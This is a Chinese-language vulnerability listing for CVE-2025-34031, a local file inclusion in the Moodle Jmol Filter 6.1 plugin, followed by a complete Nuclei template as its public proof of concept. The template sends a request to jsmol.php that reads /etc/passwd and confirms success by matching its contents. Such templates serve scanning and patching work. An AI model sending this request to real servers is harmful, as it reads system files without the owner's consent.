CVE-2025-34031: Moodle Jmol Filter 6.1 - Local File Inclusion

日期: 2025-08-01 | 影响软件: Moodle Jmol Filter | POC: 已公开

漏洞描述

Moodle Jmol Filter 6.1 is vulnerable to local file inclusion through the jsmol.php file, allowing attackers to read arbitrary files on the server.

PoC代码[已公开]

id: CVE-2025-34031

info:
  name: Moodle Jmol Filter 6.1 - Local File Inclusion
  author: madrobot
  severity: high
  description: |
    Moodle Jmol Filter 6.1 is vulnerable to local file inclusion through the jsmol.php file, allowing attackers to read arbitrary files on the server.
  reference:
    - https://www.exploit-db.com/exploits/46881
    - https://nvd.nist.gov/vuln/detail/CVE-2025-34031
  classification:
    epss-score: 0.05317
    epss-percentile: 0.89655
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N
    cve-id: CVE-2025-34031
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: cve,cve2025,moodle,lfi,edb,jsmol,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/filter/jmol/js/jsmol/php/jsmol.php?call=getRawDataFromDatabase&query=file:///etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: content_type
        words:
          - "text/plain"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022048c2c8004a26d5b8886107385e1da55b273f672cd56dea3b76e550be74a5f262022100844b31cd3bf3cdc0c473e7a04bef88df7eb8754f656c5d9290aebbebe25ba26d:922c64590222798bb761d5b6d8e72950

相关漏洞推荐